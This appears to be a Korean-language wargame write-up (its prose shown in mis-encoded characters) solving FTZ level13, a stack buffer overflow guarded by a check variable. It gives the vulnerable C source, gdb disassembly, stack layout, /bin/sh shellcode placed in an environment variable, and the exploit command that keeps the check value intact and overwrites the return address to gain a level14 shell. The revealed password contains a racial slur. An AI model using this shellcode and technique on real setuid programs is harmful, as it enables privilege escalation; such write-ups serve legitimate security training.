[FTZ] level13 ํ์ด
๐ก FTZ level13 ํ์ด
๋ฌธ์
๊ณ์ : level13/have no clue
hint
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
ํ์ด
์ด๋ฒ์๋ ์ฝ๋์์ bof๋ฅผ ํ์งํ๊ธฐ ์ํด์ ์ค๊ฐ์ ๋ณ์ i ๋ฅผ ๋์ด์ ๊ฐ์ด ๋ณ๊ฒฝ ๋์๋์ง๋ฅผ ์ฒดํฌํ๊ณ ์์ต๋๋ค.
์คํ์ ๋๋ต์ ์ผ๋ก ํํํ๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
ret
ebp
i = 0x1234567
buf[1024]
buf๋ฅผ ํตํด์ ret ์ฃผ์๋ฅผ ๋ฎ๋ ์ค๊ฐ ๊ฒฝ๋ก์ i ๊ฐ์ด ์กด์ฌํ๊ธฐ ๋๋ฌธ์ ์ด ๋ถ๋ถ์ ์ฃผ์ํด์ ret ์ฃผ์๋ฅผ ๋ฎ์ด์ฐ๋ฉด ๋ฉ๋๋ค.
๋จผ์ gdb๋ก ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ถ์ํ๊ฒ ์ต๋๋ค.
[level13@ftz level13]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080484a0 <main+0>: push ebp
0x080484a1 <main+1>: mov ebp,esp
0x080484a3 <main+3>: sub esp,0x418
0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567 //i์ ์ฃผ์๋ ebp-12
0x080484b0 <main+16>: sub esp,0x8
0x080484b3 <main+19>: push 0xc16
0x080484b8 <main+24>: push 0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add esp,0x10
0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub esp,0x8
0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>: add eax,0x4
0x080484d4 <main+52>: push DWORD PTR [eax]
0x080484d6 <main+54>: lea eax,[ebp-1048] //buf์ ์์ ์ฃผ์๋ ebp-1048
0x080484dc <main+60>: push eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add esp,0x10
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>: je 0x804850d <main+109>
0x080484ee <main+78>: sub esp,0xc
0x080484f1 <main+81>: push 0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add esp,0x10
0x080484fe <main+94>: sub esp,0x8
0x08048501 <main+97>: push 0xb
0x08048503 <main+99>: push 0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add esp,0x10
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
End of assembler dump.
์์ gdb ๋ถ์๋๋ก ์คํ์ ๊ทธ๋ฆฌ๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
ret(4)
ebp(4)
dummy(8) // ebp์ i ์ฌ์ด์ ๋น ๊ณต๊ฐ์ด ์์
i (4 byte) // ebp - 12 ์์น
dummy(12) // i ์ buf ์ฌ์ด์ ๋น ๊ณต๊ฐ์ด ์์
buf[1024] // ebp - 1048์์น
๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๊ฐ ๊ทธ๋ ค์ก์ผ๋, ์์ฝ๋๋ฅผ ํ๊ฒฝ๋ณ์์ ๋ฃ๊ณ ๊ทธ ์ฃผ์๋ฅผ ๊ตฌํ๊ฒ ์ต๋๋ค.
[level13@ftz level13]$ export SHELLCODE=$(python -c'print("\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
[level13@ftz level13]$
[level13@ftz level13]$ cd tmp
[level13@ftz tmp]$ echo 'int main(){printf("%p\n",getenv("SHELLCODE"));}' >> env.c
[level13@ftz tmp]$ gcc -o env env.c
[level13@ftz tmp]$ ./env
0xbffffc6d
๋ง์ง๋ง์ผ๋ก ๋ค์๊ณผ ๊ฐ์ด bof ์ทจ์ฝ์ ์ ์ต์คํ๋ก์ ํฉ๋๋ค.
buf + dummy ๋ฅผ ๋ํด์ 1036๋ฐ์ดํธ๋ฅผ ์ฑ์์ค๋ค์, i์ ๊ฐ์ธ 0x1234567์ ๋ฃ์ด์ค๋๋ค.
๊ทธ๋ฆฌ๊ณ ๋๋จธ์ง dummy + ebp๋ฅผ ํฉ์ณ์ 12๋ฐ์ดํธ๋ฅผ ์ฑ์ด ๋ค์ ret ์ฃผ์๋ฅผ ํ๊ฒฝ๋ณ์์ ์กด์ฌํ๋ ์์ฝ๋ ์ฃผ์๋ก ๋ฎ์ด์ฐ๋ ๊ฒ์ ๋๋ค.
[level13@ftz level13]$ ./attackme $(python -c 'print("A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x6d\xfc\xff\xbf" )')
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ my-pass
TERM environment variable not set.
Level14 Password is "what that nigga want?".
๋๊ธ๋จ๊ธฐ๊ธฐ